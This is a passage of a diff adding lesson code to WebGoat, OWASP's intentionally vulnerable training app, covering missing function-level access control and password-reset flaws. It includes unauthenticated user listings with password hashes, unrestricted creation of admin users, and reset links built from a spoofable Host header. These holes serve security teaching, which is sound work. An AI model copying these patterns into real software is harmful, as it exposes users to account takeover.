ModelAndView(); + model.setViewName("list_users"); + List allUsers = userRepository.findAllUsers(); + model.addObject("numUsers", allUsers.size()); + // add display user objects in place of direct users + List displayUsers = new ArrayList<>(); + for (User user : allUsers) { + displayUsers.add(new DisplayUser(user, PASSWORD_SALT_SIMPLE)); + } + model.addObject("allUsers", displayUsers); + + return model; + } + + @GetMapping( + path = {"access-control/users"}, + consumes = "application/json") + @ResponseBody + public ResponseEntity> usersService() { + return ResponseEntity.ok( + userRepository.findAllUsers().stream() + .map(user -> new DisplayUser(user, PASSWORD_SALT_SIMPLE)) + .collect(Collectors.toList())); + } + + @GetMapping( + path = {"access-control/users-admin-fix"}, + consumes = "application/json") + @ResponseBody + public ResponseEntity> usersFixed() { + var currentUser = userRepository.findByUsername(webSession.getUserName()); + if (currentUser != null && currentUser.isAdmin()) { + return ResponseEntity.ok( + userRepository.findAllUsers().stream() + .map(user -> new DisplayUser(user, PASSWORD_SALT_ADMIN)) + .collect(Collectors.toList())); + } + return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); + } + + @PostMapping( + path = {"access-control/users", "access-control/users-admin-fix"}, + consumes = "application/json", + produces = "application/json") + @ResponseBody + public User addUser(@RequestBody User newUser) { + try { + userRepository.save(newUser); + return newUser; + } catch (Exception ex) { + log.error("Error creating new User", ex); + return null; + } + + // @RequestMapping(path = {"user/{username}","/"}, method = RequestMethod.DELETE, consumes = + // "application/json", produces = "application/json") + // TODO implement delete method with id param and authorization + + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHash.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHash.java new file mode 100644 index 000000000..8417ae059 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHash.java @@ -0,0 +1,61 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.missingac; + +import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_SIMPLE; + +import lombok.RequiredArgsConstructor; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "access-control.hash.hint1", + "access-control.hash.hint2", + "access-control.hash.hint3", + "access-control.hash.hint4", + "access-control.hash.hint5" +}) +@RequiredArgsConstructor +public class MissingFunctionACYourHash extends AssignmentEndpoint { + + private final MissingAccessControlUserRepository userRepository; + + @PostMapping( + path = "/access-control/user-hash", + produces = {"application/json"}) + @ResponseBody + public AttackResult simple(String userHash) { + User user = userRepository.findByUsername("Jerry"); + DisplayUser displayUser = new DisplayUser(user, PASSWORD_SALT_SIMPLE); + if (userHash.equals(displayUser.getUserHash())) { + return success(this).feedback("access-control.hash.success").build(); + } else { + return failed(this).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHashAdmin.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHashAdmin.java new file mode 100644 index 000000000..52f9dbcb4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHashAdmin.java @@ -0,0 +1,68 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.missingac; + +import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_ADMIN; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "access-control.hash.hint6", + "access-control.hash.hint7", + "access-control.hash.hint8", + "access-control.hash.hint9", + "access-control.hash.hint10", + "access-control.hash.hint11", + "access-control.hash.hint12" +}) +public class MissingFunctionACYourHashAdmin extends AssignmentEndpoint { + + private final MissingAccessControlUserRepository userRepository; + + public MissingFunctionACYourHashAdmin(MissingAccessControlUserRepository userRepository) { + this.userRepository = userRepository; + } + + @PostMapping( + path = "/access-control/user-hash-fix", + produces = {"application/json"}) + @ResponseBody + public AttackResult admin(String userHash) { + // current user should be in the DB + // if not admin then return 403 + + var user = userRepository.findByUsername("Jerry"); + var displayUser = new DisplayUser(user, PASSWORD_SALT_ADMIN); + if (userHash.equals(displayUser.getUserHash())) { + return success(this).feedback("access-control.hash.success").build(); + } else { + return failed(this).feedback("access-control.hash.close").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/User.java b/src/main/java/org/owasp/webgoat/lessons/missingac/User.java new file mode 100644 index 000000000..d7e23c887 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/User.java @@ -0,0 +1,15 @@ +package org.owasp.webgoat.lessons.missingac; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@AllArgsConstructor +@NoArgsConstructor +public class User { + + private String username; + private String password; + private boolean admin; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordReset.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordReset.java new file mode 100644 index 000000000..79cc05120 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordReset.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class PasswordReset extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A7; + } + + @Override + public String getTitle() { + return "password-reset.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordResetEmail.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordResetEmail.java new file mode 100644 index 000000000..ef1f723a5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordResetEmail.java @@ -0,0 +1,39 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import java.io.Serializable; +import java.time.LocalDateTime; +import lombok.Builder; +import lombok.Data; + +@Builder +@Data +public class PasswordResetEmail implements Serializable { + + private LocalDateTime time; + private String contents; + private String sender; + private String title; + private String recipient; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/QuestionsAssignment.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/QuestionsAssignment.java new file mode 100644 index 000000000..8568b97ec --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/QuestionsAssignment.java @@ -0,0 +1,75 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import java.util.HashMap; +import java.util.Map; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 8/20/17. + */ +@RestController +public class QuestionsAssignment extends AssignmentEndpoint { + + private static final Map COLORS = new HashMap<>(); + + static { + COLORS.put("admin", "green"); + COLORS.put("jerry", "orange"); + COLORS.put("tom", "purple"); + COLORS.put("larry", "yellow"); + COLORS.put("webgoat", "red"); + } + + @PostMapping( + path = "/PasswordReset/questions", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) + @ResponseBody + public AttackResult passwordReset(@RequestParam Map json) { + String securityQuestion = (String) json.getOrDefault("securityQuestion", ""); + String username = (String) json.getOrDefault("username", ""); + + if ("webgoat".equalsIgnoreCase(username.toLowerCase())) { + return failed(this).feedback("password-questions-wrong-user").build(); + } + + String validAnswer = COLORS.get(username.toLowerCase()); + if (validAnswer == null) { + return failed(this) + .feedback("password-questions-unknown-user") + .feedbackArgs(username) + .build(); + } else if (validAnswer.equals(securityQuestion)) { + return success(this).build(); + } + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java new file mode 100644 index 000000000..ace84be78 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java @@ -0,0 +1,141 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import com.google.common.collect.Maps; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.passwordreset.resetlink.PasswordChangeForm; +import org.springframework.ui.Model; +import org.springframework.validation.BindingResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ModelAttribute; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.servlet.ModelAndView; + +/** + * @author nbaars + * @since 8/20/17. + */ +@RestController +@AssignmentHints({ + "password-reset-hint1", + "password-reset-hint2", + "password-reset-hint3", + "password-reset-hint4", + "password-reset-hint5", + "password-reset-hint6" +}) +public class ResetLinkAssignment extends AssignmentEndpoint { + + static final String PASSWORD_TOM_9 = + "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom"; + static final String TOM_EMAIL = "tom@webgoat-cloud.org"; + static Map userToTomResetLink = new HashMap<>(); + static Map usersToTomPassword = Maps.newHashMap(); + static List resetLinks = new ArrayList<>(); + + static final String TEMPLATE = + "Hi, you requested a password reset link, please use this link to reset your" + + " password.\n" + + " \n\n" + + "If you did not request this password change you can ignore this message.\n" + + "If you have any comments or questions, please do not hesitate to reach us at" + + " support@webgoat-cloud.org\n\n" + + "Kind regards, \n" + + "Team WebGoat"; + + @PostMapping("/PasswordReset/reset/login") + @ResponseBody + public AttackResult login(@RequestParam String password, @RequestParam String email) { + if (TOM_EMAIL.equals(email)) { + String passwordTom = + usersToTomPassword.getOrDefault(getWebSession().getUserName(), PASSWORD_TOM_9); + if (passwordTom.equals(PASSWORD_TOM_9)) { + return failed(this).feedback("login_failed").build(); + } else if (passwordTom.equals(password)) { + return success(this).build(); + } + } + return failed(this).feedback("login_failed.tom").build(); + } + + @GetMapping("/PasswordReset/reset/reset-password/{link}") + public ModelAndView resetPassword(@PathVariable(value = "link") String link, Model model) { + ModelAndView modelAndView = new ModelAndView(); + if (ResetLinkAssignment.resetLinks.contains(link)) { + PasswordChangeForm form = new PasswordChangeForm(); + form.setResetLink(link); + model.addAttribute("form", form); + modelAndView.addObject("form", form); + modelAndView.setViewName("password_reset"); // Display html page for changing password + } else { + modelAndView.setViewName("password_link_not_found"); + } + return modelAndView; + } + + @GetMapping("/PasswordReset/reset/change-password") + public ModelAndView illegalCall() { + ModelAndView modelAndView = new ModelAndView(); + modelAndView.setViewName("password_link_not_found"); + return modelAndView; + } + + @PostMapping("/PasswordReset/reset/change-password") + public ModelAndView changePassword( + @ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) { + ModelAndView modelAndView = new ModelAndView(); + if (!org.springframework.util.StringUtils.hasText(form.getPassword())) { + bindingResult.rejectValue("password", "not.empty"); + } + if (bindingResult.hasErrors()) { + modelAndView.setViewName("password_reset"); + return modelAndView; + } + if (!resetLinks.contains(form.getResetLink())) { + modelAndView.setViewName("password_link_not_found"); + return modelAndView; + } + if (checkIfLinkIsFromTom(form.getResetLink())) { + usersToTomPassword.put(getWebSession().getUserName(), form.getPassword()); + } + modelAndView.setViewName("lessons/passwordreset/templates/success.html"); + return modelAndView; + } + + private boolean checkIfLinkIsFromTom(String resetLinkFromForm) { + String resetLink = userToTomResetLink.getOrDefault(getWebSession().getUserName(), "unknown"); + return resetLink.equals(resetLinkFromForm); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignmentForgotPassword.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignmentForgotPassword.java new file mode 100644 index 000000000..34b8ee856 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignmentForgotPassword.java @@ -0,0 +1,114 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import java.util.UUID; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.HttpMethod; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.client.RestTemplate; + +/** + * Part of the password reset assignment. Used to send the e-mail. + * + * @author nbaars + * @since 8/20/17. + */ +@RestController +public class ResetLinkAssignmentForgotPassword extends AssignmentEndpoint { + + private final RestTemplate restTemplate; + private String webWolfHost; + private String webWolfPort; + private final String webWolfMailURL; + + public ResetLinkAssignmentForgotPassword( + RestTemplate restTemplate, + @Value("${webwolf.host}") String webWolfHost, + @Value("${webwolf.port}") String webWolfPort, + @Value("${webwolf.mail.url}") String webWolfMailURL) { + this.restTemplate = restTemplate; + this.webWolfHost = webWolfHost; + this.webWolfPort = webWolfPort; + this.webWolfMailURL = webWolfMailURL; + } + + @PostMapping("/PasswordReset/ForgotPassword/create-password-reset-link") + @ResponseBody + public AttackResult sendPasswordResetLink( + @RequestParam String email, HttpServletRequest request) { + String resetLink = UUID.randomUUID().toString(); + ResetLinkAssignment.resetLinks.add(resetLink); + String host = request.getHeader("host"); + if (ResetLinkAssignment.TOM_EMAIL.equals(email) + && (host.contains(webWolfPort) + || host.contains(webWolfHost))) { // User indeed changed the host header. + ResetLinkAssignment.userToTomResetLink.put(getWebSession().getUserName(), resetLink); + fakeClickingLinkEmail(host, resetLink); + } else { + try { + sendMailToUser(email, host, resetLink); + } catch (Exception e) { + return failed(this).output("E-mail can't be send. please try again.").build(); + } + } + + return success(this).feedback("email.send").feedbackArgs(email).build(); + } + + private void sendMailToUser(String email, String host, String resetLink) { + int index = email.indexOf("@"); + String username = email.substring(0, index == -1 ? email.length() : index); + PasswordResetEmail mail = + PasswordResetEmail.builder() + .title("Your password reset link") + .contents(String.format(ResetLinkAssignment.TEMPLATE, host, resetLink)) + .sender("password-reset@webgoat-cloud.net") + .recipient(username) + .build(); + this.restTemplate.postForEntity(webWolfMailURL, mail, Object.class); + } + + private void fakeClickingLinkEmail(String host, String resetLink) { + try { + HttpHeaders httpHeaders = new HttpHeaders(); + HttpEntity httpEntity = new HttpEntity(httpHeaders); + new RestTemplate() + .exchange( + String.format("http://%s/PasswordReset/reset/reset-password/%s", host, resetLink), + HttpMethod.GET, + httpEntity, + Void.class); + } catch (Exception e) { + // don't care + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/SecurityQuestionAssignment.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/SecurityQuestionAssignment.java new file mode 100644 index 000000000..044689717 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/SecurityQuestionAssignment.java @@ -0,0 +1,108 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import static java.util.Optional.of; + +import java.util.HashMap; +import java.util.Map; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * Assignment for picking a good security question. + * + * @author Tobias Melzer + * @since 11.12.18 + */ +@RestController +public class SecurityQuestionAssignment extends AssignmentEndpoint { + + @Autowired private TriedQuestions triedQuestions; + + private static Map questions; + + static { + questions = new HashMap<>(); + questions.put( + "What is your favorite animal?", + "The answer can easily be guessed and figured out through social media."); + questions.put("In what year was your mother born?", "Can be easily guessed."); + questions.put( + "What was the time you were born?", + "This may first seem like a good question, but you most likely dont know the exact time, so" + + " it might be hard to remember."); + questions.put( + "What is the name of the person you first kissed?", + "Can be figured out through social media, or even guessed by trying the most common" + + " names."); + questions.put( + "What was the house number and street name you lived in as a child?", + "Answer can be figured out through social media, or worse it might be your current" + + " address."); + questions.put( + "In what town or city was your first full time job?", + "In times of LinkedIn and Facebook, the answer can be figured out quite easily."); + questions.put("In what city were you born?", "Easy to figure out through social media."); + questions.put( + "What was the last name of your favorite teacher in grade three?", + "Most people would probably not know the answer to that."); + questions.put( + "What is the name of a college/job you applied to but didn't attend?", + "It might not be easy to remember and an hacker could just try some company's/colleges in" + + " your area."); + questions.put( + "What are the last 5 digits of your drivers license?", + "Is subject to change, and the last digit of your driver license might follow a specific" + + " pattern. (For example your birthday)."); + questions.put("What was your childhood nickname?", "Not all people had a nickname."); + questions.put( + "Who was your childhood hero?", + "Most Heroes we had as a child where quite obvious ones, like Superman for example."); + questions.put( + "On which wrist do you wear your watch?", + "There are only to possible real answers, so really easy to guess."); + questions.put("What is your favorite color?", "Can easily be guessed."); + } + + @PostMapping("/PasswordReset/SecurityQuestions") + @ResponseBody + public AttackResult completed(@RequestParam String question) { + var answer = of(questions.get(question)); + if (answer.isPresent()) { + triedQuestions.incr(question); + if (triedQuestions.isComplete()) { + return success(this).output("" + answer + "").build(); + } + } + return informationMessage(this) + .feedback("password-questions-one-successful") + .output(answer.orElse("Unknown question, please try again...")) + .build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/SimpleMailAssignment.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/SimpleMailAssignment.java new file mode 100644 index 000000000..656732183 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/SimpleMailAssignment.java @@ -0,0 +1,117 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import static java.util.Optional.ofNullable; + +import java.time.LocalDateTime; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +/** + * @author nbaars + * @since 8/20/17. + */ +@RestController +public class SimpleMailAssignment extends AssignmentEndpoint { + + private final String webWolfURL; + private RestTemplate restTemplate; + + public SimpleMailAssignment( + RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfURL) { + this.restTemplate = restTemplate; + this.webWolfURL = webWolfURL; + } + + @PostMapping( + path = "/PasswordReset/simple-mail", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) + @ResponseBody + public AttackResult login(@RequestParam String email, @RequestParam String password) { + String emailAddress = ofNullable(email).orElse("unknown@webgoat.org"); + String username = extractUsername(emailAddress); + + if (username.equals(getWebSession().getUserName()) + && StringUtils.reverse(username).equals(password)) { + return success(this).build(); + } else { + return failed(this).feedbackArgs("password-reset-simple.password_incorrect").build(); + } + } + + @PostMapping( + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, + value = "/PasswordReset/simple-mail/reset") + @ResponseBody + public AttackResult resetPassword(@RequestParam String emailReset) { + String email = ofNullable(emailReset).orElse("unknown@webgoat.org"); + return sendEmail(extractUsername(email), email); + } + + private String extractUsername(String email) { + int index = email.indexOf("@"); + return email.substring(0, index == -1 ? email.length() : index); + } + + private AttackResult sendEmail(String username, String email) { + if (username.equals(getWebSession().getUserName())) { + PasswordResetEmail mailEvent = + PasswordResetEmail.builder() + .recipient(username) + .title("Simple e-mail assignment") + .time(LocalDateTime.now()) + .contents( + "Thanks for resetting your password, your new password is: " + + StringUtils.reverse(username)) + .sender("webgoat@owasp.org") + .build(); + try { + restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); + } catch (RestClientException e) { + return informationMessage(this) + .feedback("password-reset-simple.email_failed") + .output(e.getMessage()) + .build(); + } + return informationMessage(this) + .feedback("password-reset-simple.email_send") + .feedbackArgs(email) + .build(); + } else { + return informationMessage(this) + .feedback("password-reset-simple.email_mismatch") + .feedbackArgs(username) + .build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/TriedQuestions.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/TriedQuestions.java new file mode 100644 index 000000000..d8f04167a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/TriedQuestions.java @@ -0,0 +1,43 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import java.util.HashSet; +import java.util.Set; +import org.springframework.stereotype.Component; +import org.springframework.web.context.annotation.SessionScope; + +@Component +@SessionScope +public class TriedQuestions { + + private Set answeredQuestions = new HashSet<>(); + + public void incr(String question) { + answeredQuestions.add(question); + } + + public boolean isComplete() { + return answeredQuestions.size() > 1; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/resetlink/PasswordChangeForm.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/resetlink/PasswordChangeForm.java new file mode 100644 index 000000000..604c51fd3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/resetlink/PasswordChangeForm.java @@ -0,0 +1,21 @@ +package org.owasp.webgoat.lessons.passwordreset.resetlink; + +import javax.validation.constraints.NotNull; +import javax.validation.constraints.Size; +import lombok.Getter; +import lombok.Setter; + +/** + * @author nbaars + * @since 8/18/17. + */ +@Getter +@Setter +public class PasswordChangeForm { + + @NotNull + @Size(min = 6, max = 10) + private String password; + + private String resetLink; +} diff --git 